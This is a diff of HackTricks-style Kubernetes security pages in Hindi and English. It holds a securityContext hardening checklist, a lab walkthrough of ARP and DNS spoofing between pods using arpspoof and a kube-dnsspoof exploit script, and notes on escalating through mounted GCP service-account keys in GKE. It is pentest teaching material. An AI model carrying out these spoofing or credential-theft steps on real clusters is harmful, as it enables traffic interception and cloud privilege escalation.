| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | container पर apply होने वाला **SELinux context**। अगर specify न हो, तो container runtime हर container के लिए एक random SELinux context allocate करेगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | इस container द्वारा use किए जाने वाले **seccomp options**। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | सभी containers पर apply होने वाली **Windows specific settings**। |
|
||||
|
||||
## Practical workload review checklist
|
||||
|
||||
किसी Pod या workload template की review करते समय, `spec.securityContext` और `containers`, `initContainers`, तथा `ephemeralContainers` के अंदर हर container-level `securityContext` दोनों inspect करें। Container-level fields pod-level defaults को override कर सकते हैं, इसलिए safe दिखने वाला pod default यह guarantee नहीं देता कि हर container safe है।
|
||||
|
||||
High-risk combinations जिन्हें प्राथमिकता देनी चाहिए:
|
||||
|
||||
- `privileged: true`, खासकर `hostPID`, `hostIPC`, `hostNetwork`, `hostPath`, host ports, या runtime socket mounts के साथ।
|
||||
- `SYS_ADMIN`, `NET_ADMIN`, `SYS_PTRACE`, `SYS_MODULE`, `DAC_READ_SEARCH`, या `DAC_OVERRIDE` जैसी added capabilities।
|
||||
- attacker-controlled code execute कर सकने वाले containers में `allowPrivilegeEscalation: true` या unset।
|
||||
- `seccompProfile: Unconfined`, `procMount: Unmasked`, या sensitive workloads पर missing runtime profiles।
|
||||
- Writable root filesystems या broad writable volume mounts, उन workloads में जो untrusted input process करते हैं।
|
||||
- multi-tenant namespaces में CPU, memory, या ephemeral-storage requests और limits का missing होना।
|
||||
|
||||
अधिकांश application workloads के लिए एक अच्छा baseline यह है कि non-root UID के रूप में चलाएं, `runAsNonRoot: true` set करें, `allowPrivilegeEscalation: false` set करें, सभी capabilities drop करें और केवल minimum required ones वापस add करें, `seccompProfile: RuntimeDefault` use करें, read-only root filesystem prefer करें, और host namespaces, hostPath mounts, तथा privileged mode से बचें।
|
||||
|
||||
cluster level पर, जहां संभव हो, Kubernetes [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) को enforce करने के लिए [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/) namespace labels use करें। जिन namespaces में support हो उनके लिए `restricted` use करें, सामान्य application namespaces के लिए कम से कम `baseline`, और privileged exceptions को narrow, documented, तथा trusted platform namespaces या node pools तक isolated रखें।
|
||||
|
||||
## References
|
||||
|
||||
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
|
||||
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
- [https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/](https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/)
|
||||
- [https://kubernetes.io/docs/concepts/security/pod-security-standards/](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
|
||||
- [https://kubernetes.io/docs/concepts/security/pod-security-admission/](https://kubernetes.io/docs/concepts/security/pod-security-admission/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
## परिचय
|
||||
|
||||
Kubernetes में, यह देखा गया है कि एक डिफ़ॉल्ट व्यवहार **सभी कंटेनरों के बीच कनेक्शन स्थापित करने की अनुमति देता है जो एक ही नोड पर स्थित हैं**। यह नामस्थान भिन्नताओं की परवाह किए बिना लागू होता है। इस प्रकार की कनेक्टिविटी **लेयर 2** (Ethernet) तक फैली हुई है। नतीजतन, यह कॉन्फ़िगरेशन प्रणाली को कमजोरियों के लिए संभावित रूप से उजागर करता है। विशेष रूप से, यह एक **दुष्ट कंटेनर** के लिए एक **ARP स्पूफिंग हमले** को अन्य कंटेनरों के खिलाफ निष्पादित करने की संभावना खोलता है जो उसी नोड पर स्थित हैं। ऐसे हमले के दौरान, दुष्ट कंटेनर धोखे से अन्य कंटेनरों के लिए निर्धारित नेटवर्क ट्रैफ़िक को इंटरसेप्ट या संशोधित कर सकता है।
|
||||
Kubernetes में, यह देखा गया है कि एक default behavior **एक ही node पर स्थित सभी containers** के बीच connections स्थापित करने की अनुमति देता है। यह namespace distinctions की परवाह किए बिना लागू होता है। ऐसी connectivity सीधे **Layer 2** (Ethernet) तक जाती है। परिणामस्वरूप, यह configuration system को vulnerabilities के लिए संभावित रूप से exposed करती है। विशेष रूप से, यह एक **malicious container** को उसी node पर स्थित अन्य containers के खिलाफ **ARP spoofing attack** execute करने की संभावना खोलती है। ऐसे attack के दौरान, malicious container दूसरे containers के लिए intended network traffic को deceitfully intercept या modify कर सकता है।
|
||||
|
||||
ARP स्पूफिंग हमलों में **हमलावर द्वारा स्थानीय क्षेत्र नेटवर्क पर गलत ARP** (एड्रेस रिज़ॉल्यूशन प्रोटोकॉल) संदेश भेजना शामिल है। इसके परिणामस्वरूप **हमलावर के MAC पते को नेटवर्क पर एक वैध कंप्यूटर या सर्वर के IP पते के साथ जोड़ा जाता है**। ऐसे हमले के सफल निष्पादन के बाद, हमलावर डेटा को इंटरसेप्ट, संशोधित या यहां तक कि ट्रांजिट में रोक सकता है। यह हमला OSI मॉडल की लेयर 2 पर निष्पादित किया जाता है, यही कारण है कि Kubernetes में इस स्तर पर डिफ़ॉल्ट कनेक्टिविटी सुरक्षा चिंताओं को उठाती है।
|
||||
ARP spoofing attacks में **attacker द्वारा falsified ARP** (Address Resolution Protocol) messages को local area network पर भेजना शामिल है। इससे **attacker के MAC address को network पर किसी legitimate computer या server के IP address के साथ link** किया जाता है। ऐसे attack के सफल execution के बाद, attacker data in-transit को intercept, modify, या यहाँ तक कि stop भी कर सकता है। यह attack OSI model की Layer 2 पर execute होता है, इसी कारण Kubernetes में इस layer पर default connectivity security concerns उठाती है।
|
||||
|
||||
परिदृश्य में 4 मशीनें बनाई जाने वाली हैं:
|
||||
इस scenario में 4 machines बनाई जाएँगी:
|
||||
|
||||
- ubuntu-pe: नोड पर भागने और मेट्रिक्स की जांच करने के लिए विशेषाधिकार प्राप्त मशीन (हमले के लिए आवश्यक नहीं)
|
||||
- **ubuntu-attack**: **दुष्ट** कंटेनर डिफ़ॉल्ट नामस्थान में
|
||||
- **ubuntu-victim**: **पीड़ित** मशीन kube-system नामस्थान में
|
||||
- **mysql**: **पीड़ित** मशीन डिफ़ॉल्ट नामस्थान में
|
||||
- ubuntu-pe: node पर escape करने और metrics check करने के लिए Privileged machine (attack के लिए आवश्यक नहीं)
|
||||
- **ubuntu-attack**: default namespace में **Malicious** container
|
||||
- **ubuntu-victim**: kube-system namespace में **Victim** machine
|
||||
- **mysql**: default namespace में **Victim** machine
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -96,22 +96,22 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
|
||||
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||||
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||||
```
|
||||
## Basic Kubernetes Networking
|
||||
## बेसिक Kubernetes नेटवर्किंग
|
||||
|
||||
यदि आप यहां प्रस्तुत नेटवर्किंग विषयों के बारे में अधिक विवरण चाहते हैं, तो संदर्भों पर जाएं।
|
||||
यदि आप यहाँ प्रस्तुत नेटवर्किंग विषयों के बारे में अधिक विवरण चाहते हैं, तो references पर जाएँ।
|
||||
|
||||
### ARP
|
||||
|
||||
सामान्यतः, **नोड के अंदर पोड-से-पोड नेटवर्किंग** एक **ब्रिज** के माध्यम से उपलब्ध है जो सभी पोड्स को जोड़ता है। इस ब्रिज को “**cbr0**” कहा जाता है। (कुछ नेटवर्क प्लगइन्स अपना खुद का ब्रिज स्थापित करेंगे।) **cbr0 ARP** (एड्रेस रिज़ॉल्यूशन प्रोटोकॉल) समाधान को भी संभाल सकता है। जब एक इनकमिंग पैकेट cbr0 पर आता है, तो यह ARP का उपयोग करके गंतव्य MAC पते को हल कर सकता है।
|
||||
सामान्य रूप से, **node के अंदर pod-to-pod networking** एक **bridge** के माध्यम से उपलब्ध होती है जो सभी pods को connect करती है। इस bridge को “**cbr0**” कहा जाता है। (कुछ network plugins अपना खुद का bridge install करेंगे।) **cbr0 ARP** (Address Resolution Protocol) resolution को भी handle कर सकता है। जब कोई incoming packet cbr0 पर पहुँचता है, तो वह ARP का उपयोग करके destination MAC address resolve कर सकता है।
|
||||
|
||||
यह तथ्य यह संकेत करता है कि, डिफ़ॉल्ट रूप से, **एक ही नोड में चलने वाला हर पोड** किसी अन्य पोड के साथ **संवाद** करने में सक्षम होगा (नेमस्पेस के स्वतंत्र) एथरनेट स्तर (लेयर 2) पर।
|
||||
इस तथ्य का मतलब है कि, default रूप से, **same node में चल रहा हर pod** ethernet level (layer 2) पर same node के किसी भी अन्य pod के साथ **communicate** करने में सक्षम होगा, (namespace से स्वतंत्र रूप से)।
|
||||
|
||||
> [!WARNING]
|
||||
> इसलिए, एक ही नोड में पोड्स के बीच A**RP Spoofing हमले करना संभव है।**
|
||||
> इसलिए, same node में pods के बीच A**RP Spoofing attacks** करना संभव है।
|
||||
|
||||
### DNS
|
||||
|
||||
कubernetes वातावरण में आप आमतौर पर 1 (या अधिक) **DNS सेवाएं चलती हुई पाएंगे** जो आमतौर पर kube-system नेमस्पेस में होती हैं:
|
||||
kubernetes environments में आप आमतौर पर kube-system namespace में चल रही 1 (या अधिक) **DNS services** पाएँगे:
|
||||
```bash
|
||||
kubectl -n kube-system describe services
|
||||
Name: kube-dns
|
||||
@@ -136,27 +136,30 @@ Port: metrics 9153/TCP
|
||||
TargetPort: 9153/TCP
|
||||
Endpoints: 172.17.0.2:9153
|
||||
```
|
||||
पिछली जानकारी में आप कुछ दिलचस्प देख सकते हैं, **सेवा का IP** **10.96.0.10** है लेकिन **सेवा चला रहे पोड का IP** **172.17.0.2** है।
|
||||
पिछली जानकारी में आप कुछ दिलचस्प देख सकते हैं, **service का IP** **10.96.0.10** है लेकिन service चला रहे **pod का IP** **172.17.0.2.**
|
||||
|
||||
यदि आप किसी भी पोड के अंदर DNS पते की जांच करते हैं, तो आपको कुछ इस तरह मिलेगा:
|
||||
अगर आप किसी भी pod के अंदर DNS address check करेंगे तो आपको कुछ ऐसा मिलेगा:
|
||||
```
|
||||
cat /etc/resolv.conf
|
||||
nameserver 10.96.0.10
|
||||
```
|
||||
हालांकि, **पॉड को** उस **पते** तक पहुँचने का तरीका **नहीं पता** है क्योंकि इस मामले में **पॉड रेंज** 172.17.0.10/26 है।
|
||||
हालाँकि, pod **को नहीं पता** कि उस **address** तक कैसे पहुँचना है क्योंकि इस मामले में **pod range** 172.17.0.10/26 है।
|
||||
|
||||
इसलिए, पॉड **DNS अनुरोधों को पते 10.96.0.10** पर भेजेगा जो cbr0 द्वारा **172.17.0.2** में **अनुवादित** किया जाएगा।
|
||||
इसलिए, pod **DNS requests को address 10.96.0.10 पर** भेजेगा, जिसे cbr0 **द्वारा** **172.17.0.2** में **translated** किया जाएगा।
|
||||
|
||||
> [!WARNING]
|
||||
> इसका मतलब है कि एक पॉड का **DNS अनुरोध** **हमेशा** **ब्रिज** की ओर जाएगा ताकि **सेवा IP को अंत बिंदु IP में अनुवादित** किया जा सके, भले ही DNS सर्वर पॉड के समान उपनेटवर्क में हो।
|
||||
> इसका मतलब है कि एक pod की **DNS request** **हमेशा** **bridge** से होकर जाएगी ताकि **service IP को endpoint IP में translate** किया जा सके, भले ही DNS server pod के साथ उसी subnetwork में हो।
|
||||
>
|
||||
> यह जानकर, और यह जानकर कि **ARP हमले संभव हैं**, एक **पॉड** एक नोड में **उपनेटवर्क** में **प्रत्येक पॉड** के बीच **ट्रैफ़िक को इंटरसेप्ट** करने में सक्षम होगा और **DNS सर्वर** से **DNS प्रतिक्रियाओं को संशोधित** करेगा (**DNS Spoofing**)।
|
||||
> यह जानते हुए, और यह जानते हुए कि **ARP attacks possible हैं**, किसी node में एक **pod** **subnetwork** में **each pod** और **bridge** के बीच के traffic को **intercept** करने और DNS server से आने वाले **DNS responses** को **modify** करने में सक्षम होगा (**DNS Spoofing**)।
|
||||
>
|
||||
> इसके अलावा, यदि **DNS सर्वर** **हमलावर के समान नोड में** है, तो हमलावर किसी भी पॉड के सभी DNS अनुरोधों को (DNS सर्वर और ब्रिज के बीच) **इंटरसेप्ट** कर सकता है और प्रतिक्रियाओं को संशोधित कर सकता है।
|
||||
> इसके अलावा, अगर **DNS server** attacker के **same node** पर है, तो attacker cluster में किसी भी pod की **सभी DNS request** (DNS server और bridge के बीच) **intercept** कर सकता है और responses **modify** कर सकता है।
|
||||
|
||||
## समान नोड में पॉड्स में ARP Spoofing
|
||||
> [!NOTE]
|
||||
> वास्तविक cluster में यह काम करता है, ऐसा मानने से पहले active CNI और DNS path को validate करें। कुछ CNI same-node traffic को अलग तरीके से route या isolate करते हैं, और NodeLocal DNSCache इस्तेमाल करने वाले clusters pod DNS queries को CoreDNS को forward करने से पहले node-local address पर भेज सकते हैं। ऐसे environments में, DNS spoofing pod placement, packet capabilities, resolver configuration, node-local cache behavior, और applications peers को TLS या किसी अन्य identity mechanism से verify करते हैं या नहीं, इस पर निर्भर करती है।
|
||||
|
||||
हमारा लक्ष्य है कि **कम से कम ubuntu-victim से mysql तक की संचार को चुराना**।
|
||||
## उसी Node में pods के बीच ARP Spoofing
|
||||
|
||||
हमारा goal **ubuntu-victim से mysql तक की communication** को कम से कम **steal** करना है।
|
||||
|
||||
### Scapy
|
||||
```bash
|
||||
@@ -233,16 +236,16 @@ arpspoof -t 172.17.0.9 172.17.0.10
|
||||
```
|
||||
## DNS Spoofing
|
||||
|
||||
जैसा कि पहले ही उल्लेख किया गया है, यदि आप **DNS सर्वर पॉड के उसी नोड में एक पॉड को समझौता करते हैं**, तो आप **MitM** के साथ **ARPSpoofing** का उपयोग करके **ब्रिज और DNS** पॉड को **संशोधित** कर सकते हैं और **सभी DNS प्रतिक्रियाओं** को **बदल** सकते हैं।
|
||||
जैसा कि पहले ही बताया गया था, अगर आप **DNS server pod** के same node में किसी **pod को compromise** कर लेते हैं, तो आप **ARPSpoofing** के साथ **bridge** और **DNS** pod के बीच **MitM** कर सकते हैं और **सभी DNS responses** को **modify** कर सकते हैं।
|
||||
|
||||
आपके पास इसे परीक्षण करने के लिए एक बहुत अच्छा **टूल** और **ट्यूटोरियल** है [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
आपके पास इसे test करने के लिए एक बहुत अच्छा **tool** और **tutorial** है: [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
हमारे परिदृश्य में, **हमलावर पॉड** में **टूल** डाउनलोड करें और एक **फाइल नाम `hosts`** बनाएं जिसमें आप जिन **डोमेन** को **स्पूफ** करना चाहते हैं, उन्हें शामिल करें:
|
||||
हमारे scenario में, **attacker pod** में **tool** को **download** करें और `hosts` नाम की एक **file** बनाएं जिसमें आप जिन **domains** को **spoof** करना चाहते हैं, वे हों, जैसे:
|
||||
```
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
```
|
||||
ubuntu-victim मशीन पर हमला करें:
|
||||
ubuntu-victim machine पर attack perform करें:
|
||||
```
|
||||
python3 exploit.py --direct 172.17.0.10
|
||||
[*] starting attack on direct mode to pod 172.17.0.10
|
||||
@@ -260,47 +263,49 @@ dig google.com
|
||||
google.com. 1 IN A 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> यदि आप अपना खुद का DNS स्पूफिंग स्क्रिप्ट बनाने की कोशिश करते हैं, यदि आप **केवल DNS प्रतिक्रिया को संशोधित करते हैं** तो यह **काम नहीं करेगा**, क्योंकि **प्रतिक्रिया** में **src IP** **दुष्ट** **पॉड** का IP पता होगा और इसे **स्वीकृत** नहीं किया जाएगा।\
|
||||
> आपको **DNS** का **नया DNS पैकेट** उत्पन्न करने की आवश्यकता है जहां पीड़ित DNS अनुरोध भेजता है (जो कुछ ऐसा है जैसे 172.16.0.2, 10.96.0.10 नहीं, वह K8s DNS सेवा का IP है और DNS सर्वर का IP नहीं है, इसके बारे में अधिक जानकारी परिचय में है)।
|
||||
> अगर आप अपना खुद का DNS spoofing script बनाने की कोशिश करते हैं, तो अगर आप **सिर्फ DNS response को modify** करते हैं तो वह **काम नहीं** करेगा, क्योंकि **response** में **src IP** **malicious** **pod** का IP address होगा और उसे **accepted** **नहीं** किया जाएगा.\
|
||||
> आपको एक **new DNS packet** generate करना होगा जिसमें **src IP** वही **DNS** का हो जहाँ victim ने DNS request भेजी थी (जो कुछ ऐसा होता है जैसे 172.16.0.2, 10.96.0.10 नहीं, क्योंकि वह K8s DNS service IP है और DNS server ip नहीं, इसके बारे में introduction में और जानकारी है).
|
||||
|
||||
## DNS Spoofing via coreDNS configmap
|
||||
## coreDNS configmap के माध्यम से DNS Spoofing
|
||||
|
||||
kube-system namespace में `coredns` configmap पर लिखने की अनुमति रखने वाला उपयोगकर्ता क्लस्टर की DNS प्रतिक्रियाओं को संशोधित कर सकता है।
|
||||
kube-system namespace में `coredns` configmap पर write permissions वाला user cluster के DNS responses को modify कर सकता है.
|
||||
|
||||
इस हमले के बारे में अधिक जानकारी के लिए देखें:
|
||||
अगर NodeLocal DNSCache deployed है तो उसे भी review करें। यह आमतौर पर hostNetwork DaemonSet के रूप में चलता है और इसका अपना ConfigMap, logs, cache, और forwarding path होता है। CoreDNS change ही DNS behavior को प्रभावित या observe करने की एकमात्र जगह नहीं हो सकती।
|
||||
|
||||
इस attack के बारे में अधिक जानकारी यहाँ देखें:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/README.md
|
||||
{{/ref}}
|
||||
|
||||
## Abusing exposed kubernetes management services
|
||||
## exposed kubernetes management services का abuse
|
||||
|
||||
Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, और Kubernetes डैशबोर्ड जैसी सेवाएँ अक्सर इंटरनेट या kubernetes नेटवर्क के भीतर उजागर होती हैं। एक हमलावर जो **kubernetes को प्रबंधित करने के लिए उपयोग की जाने वाली किसी भी प्लेटफ़ॉर्म को खोजने और उस तक पहुँचने में सफल होता है** उसे kubernetes API तक पहुँच प्राप्त करने के लिए इसका दुरुपयोग कर सकता है और नए पॉड बनाने, मौजूदा को संशोधित करने, या यहां तक कि उन्हें हटाने जैसी क्रियाएँ कर सकता है।
|
||||
Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, और Kubernetes dashboard जैसी Services अक्सर internet पर या kubernetes network के भीतर exposed होती हैं। एक attacker जो **kubernetes को manage करने के लिए इस्तेमाल होने वाला कोई भी platform find** करके उस तक access कर ले, वह इसका abuse करके kubernetes API तक access पा सकता है और नए pods create करना, existing pods को modify करना, या उन्हें delete करना जैसी actions perform कर सकता है।
|
||||
|
||||
## Enumerating kubernetes network policies
|
||||
## kubernetes network policies की enumeration
|
||||
|
||||
संरचित **networkpolicies** प्राप्त करें:
|
||||
Configured **networkpolicies** प्राप्त करें:
|
||||
```bash
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
```
|
||||
**Callico** नेटवर्क नीतियाँ प्राप्त करें:
|
||||
Get **Callico** network policies:
|
||||
```bash
|
||||
kubectl get globalnetworkpolicy --all-namespaces
|
||||
```
|
||||
**Cillium** नेटवर्क नीतियाँ प्राप्त करें:
|
||||
Get **Cillium** network policies:
|
||||
```bash
|
||||
kubectl get ciliumnetworkpolicy --all-namespaces
|
||||
```
|
||||
अपने नेटवर्क प्लगइन या सुरक्षा समाधान द्वारा स्थापित अन्य नीति-संबंधित CRDs प्राप्त करें:
|
||||
अपने network plugin या security solution द्वारा installed अन्य policy-related CRDs प्राप्त करें:
|
||||
```bash
|
||||
kubectl get crd | grep -i policy
|
||||
```
|
||||
## ट्रैफ़िक कैप्चर करना
|
||||
## ट्रैफिक कैप्चर करना
|
||||
|
||||
उपकरण [**Mizu**](https://github.com/up9inc/mizu) एक सरल लेकिन शक्तिशाली API **ट्रैफ़िक व्यूअर है Kubernetes के लिए** जो आपको **सूक्ष्म सेवाओं के बीच सभी API संचार** देखने में सक्षम बनाता है ताकि आप अपने डिबग और समस्या निवारण में मदद कर सकें।\
|
||||
यह चयनित पॉड्स में एजेंट स्थापित करेगा और उनके ट्रैफ़िक की जानकारी एकत्र करेगा और आपको एक वेब सर्वर में दिखाएगा। हालाँकि, इसके लिए आपको उच्च K8s अनुमतियों की आवश्यकता होगी (और यह बहुत छिपा हुआ नहीं है)।
|
||||
टूल [**Mizu**](https://github.com/up9inc/mizu) एक simple-yet-powerful API **traffic viewer for Kubernetes** है जो आपको **microservices के बीच सभी API communication देखने** देता है, ताकि आप debug कर सकें और regressions troubleshoot कर सकें।\
|
||||
यह चयनित pods में agents install करेगा और उनकी traffic information एक web server में दिखाएगा। हालांकि, इसके लिए आपको high K8s permissions चाहिए होंगी (और यह बहुत stealthy नहीं है)।
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
|
||||
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
||||
|
||||
@@ -4,62 +4,62 @@
|
||||
|
||||
## GCP
|
||||
|
||||
यदि आप GCP के अंदर k8s cluster चला रहे हैं तो आप संभवतः चाहेंगे कि क्लस्टर के अंदर चल रहा कोई application GCP तक access कर सके। इसे करने के 2 सामान्य तरीके हैं:
|
||||
यदि आप GCP के अंदर एक k8s cluster चला रहे हैं, तो आप शायद चाहेंगे कि cluster के अंदर चलने वाला कोई application GCP तक कुछ access रखे। ऐसा करने के 2 सामान्य तरीके हैं:
|
||||
|
||||
### Mounting GCP-SA keys as secret
|
||||
### GCP-SA keys को secret के रूप में mount करना
|
||||
|
||||
GCP को एक **kubernetes application** को access देने का एक सामान्य तरीका है:
|
||||
**किसी kubernetes application को GCP का access देने** का एक सामान्य तरीका है:
|
||||
|
||||
- एक GCP Service Account बनाएं
|
||||
- उस पर इच्छित permissions bind करें
|
||||
- बने हुए SA की json key डाउनलोड करें
|
||||
- इसे pod के अंदर secret के रूप में mount करें
|
||||
- GOOGLE_APPLICATION_CREDENTIALS environment variable को उस path की ओर पॉइंट करते हुए सेट करें जहाँ json मौजूद है।
|
||||
- उस पर desired permissions bind करें
|
||||
- बनाए गए SA की एक json key डाउनलोड करें
|
||||
- उसे pod के अंदर एक secret के रूप में mount करें
|
||||
- GOOGLE_APPLICATION_CREDENTIALS environment variable सेट करें, जो उस path की ओर point करे जहाँ json है।
|
||||
|
||||
> [!WARNING]
|
||||
> इसलिए, एक **attacker** के रूप में, यदि आप pod के अंदर किसी container से समझौता करते हैं, तो आपको उस **env** **variable** और GCP credentials वाले **json** **files** के लिए जांच करनी चाहिए।
|
||||
> इसलिए, एक **attacker** के रूप में, अगर आप pod के अंदर किसी container को compromise करते हैं, तो आपको उस **env** **variable** और GCP credentials वाली **json** **files** की जांच करनी चाहिए।
|
||||
|
||||
### Relating GSA json to KSA secret
|
||||
### GSA json को KSA secret से relate करना
|
||||
|
||||
GSA को GKE cluster तक access देने का एक तरीका उन्हें इस तरह bind करना है:
|
||||
एक GSA को GKE cluser तक access देने का एक तरीका उन्हें इस तरह bind करना है:
|
||||
|
||||
- अपने GKE cluster के उसी namespace में एक Kubernetes service account बनाएं, निम्नलिखित command का उपयोग करके:
|
||||
- निम्न command का उपयोग करके अपने GKE cluster के same namespace में एक Kubernetes service account बनाएं:
|
||||
```bash
|
||||
kubectl create serviceaccount <service-account-name>
|
||||
```
|
||||
- उस GCP service account के credentials को शामिल करने वाला एक Kubernetes Secret बनाएं जिसे आप GKE क्लस्टर तक पहुँच देना चाहते हैं। आप इसे `gcloud` command-line टूल का उपयोग करके कर सकते हैं, जैसा कि निम्न उदाहरण में दिखाया गया है:
|
||||
- एक Kubernetes Secret बनाएं जिसमें GCP service account के credentials हों, जिसे आप GKE cluster तक access देना चाहते हैं। आप यह `gcloud` command-line tool का उपयोग करके कर सकते हैं, जैसा कि निम्नलिखित example में दिखाया गया है:
|
||||
```bash
|
||||
gcloud iam service-accounts keys create <key-file-name>.json \
|
||||
--iam-account <gcp-service-account-email>
|
||||
kubectl create secret generic <secret-name> \
|
||||
--from-file=key.json=<key-file-name>.json
|
||||
```
|
||||
- Kubernetes Secret को Kubernetes service account के साथ निम्नलिखित कमांड का उपयोग करके बाइंड करें:
|
||||
- निम्नलिखित command का उपयोग करके Kubernetes Secret को Kubernetes service account से bind करें:
|
||||
```bash
|
||||
kubectl annotate serviceaccount <service-account-name> \
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
```
|
||||
> [!WARNING]
|
||||
> इस **second step** में **credentials of the GSA as secret of the KSA** सेट किए गए थे। फिर, यदि आप **read that secret** को **inside** के **GKE** क्लस्टर से पढ़ सकते हैं, तो आप **escalate to that GCP service account** कर सकते हैं।
|
||||
> **दूसरे चरण** में **GSA की credentials को KSA के secret** के रूप में सेट किया गया था। फिर, अगर आप **उस secret को read** कर सकते हैं **inside** **GKE** cluster के, तो आप **उस GCP service account** तक **escalate** कर सकते हैं।
|
||||
|
||||
### GKE Workload Identity
|
||||
|
||||
Workload Identity के साथ, हम configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) को act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) के रूप में कॉन्फ़िगर कर सकते हैं। Kubernetes service account के साथ चलने वाले Pods Google Cloud APIs तक पहुँचने पर स्वतः ही Google service account के रूप में authenticate कर लेंगे।
|
||||
Workload Identity के साथ, हम एक[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) को एक[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) की तरह act करने के लिए configure कर सकते हैं। Kubernetes service account के साथ चल रहे Pods, Google Cloud APIs तक access करते समय automatically Google service account के रूप में authenticate होंगे।
|
||||
|
||||
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
|
||||
इस behavior को enable करने के **पहले steps की series** है **GCP में Workload Identity को enable करना** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) और वह GCP SA create करना जिसे आप चाहते हैं कि k8s impersonate करे।
|
||||
|
||||
- **Enable Workload Identity** on a new cluster
|
||||
- नए cluster पर **Enable Workload Identity**
|
||||
```bash
|
||||
gcloud container clusters update <cluster_name> \
|
||||
--region=us-central1 \
|
||||
--workload-pool=<project-id>.svc.id.goog
|
||||
```
|
||||
- **नया nodepool बनाएँ/अपडेट करें** (Autopilot क्लस्टरों को इसकी आवश्यकता नहीं है)
|
||||
- **एक नया nodepool create/update करें** (Autopilot clusters को इसकी जरूरत नहीं होती)
|
||||
```bash
|
||||
# You could update instead of create
|
||||
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
|
||||
```
|
||||
- K8s से GCP permissions के साथ **GCP Service Account to impersonate** बनाएं:
|
||||
- K8s से GCP permissions वाले **GCP Service Account to impersonate** बनाएं:
|
||||
```bash
|
||||
# Create SA called "gsa2ksa"
|
||||
gcloud iam service-accounts create gsa2ksa --project=<project-id>
|
||||
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
|
||||
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
|
||||
--role "roles/iam.securityReviewer"
|
||||
```
|
||||
- **Connect** to the **cluster** और उपयोग के लिए **create** करें **service account**
|
||||
- **cluster** से **connect** करें और उपयोग करने के लिए **service account** **create** करें
|
||||
```bash
|
||||
# Get k8s creds
|
||||
gcloud container clusters get-credentials <cluster_name> --region=us-central1
|
||||
@@ -80,7 +80,7 @@ kubectl create namespace testing
|
||||
# Create the KSA
|
||||
kubectl create serviceaccount ksa2gcp -n testing
|
||||
```
|
||||
- **GSA को KSA के साथ बाइंड करें**
|
||||
- **GSA को KSA के साथ bind करें**
|
||||
```bash
|
||||
# Allow the KSA to access the GSA in GCP IAM
|
||||
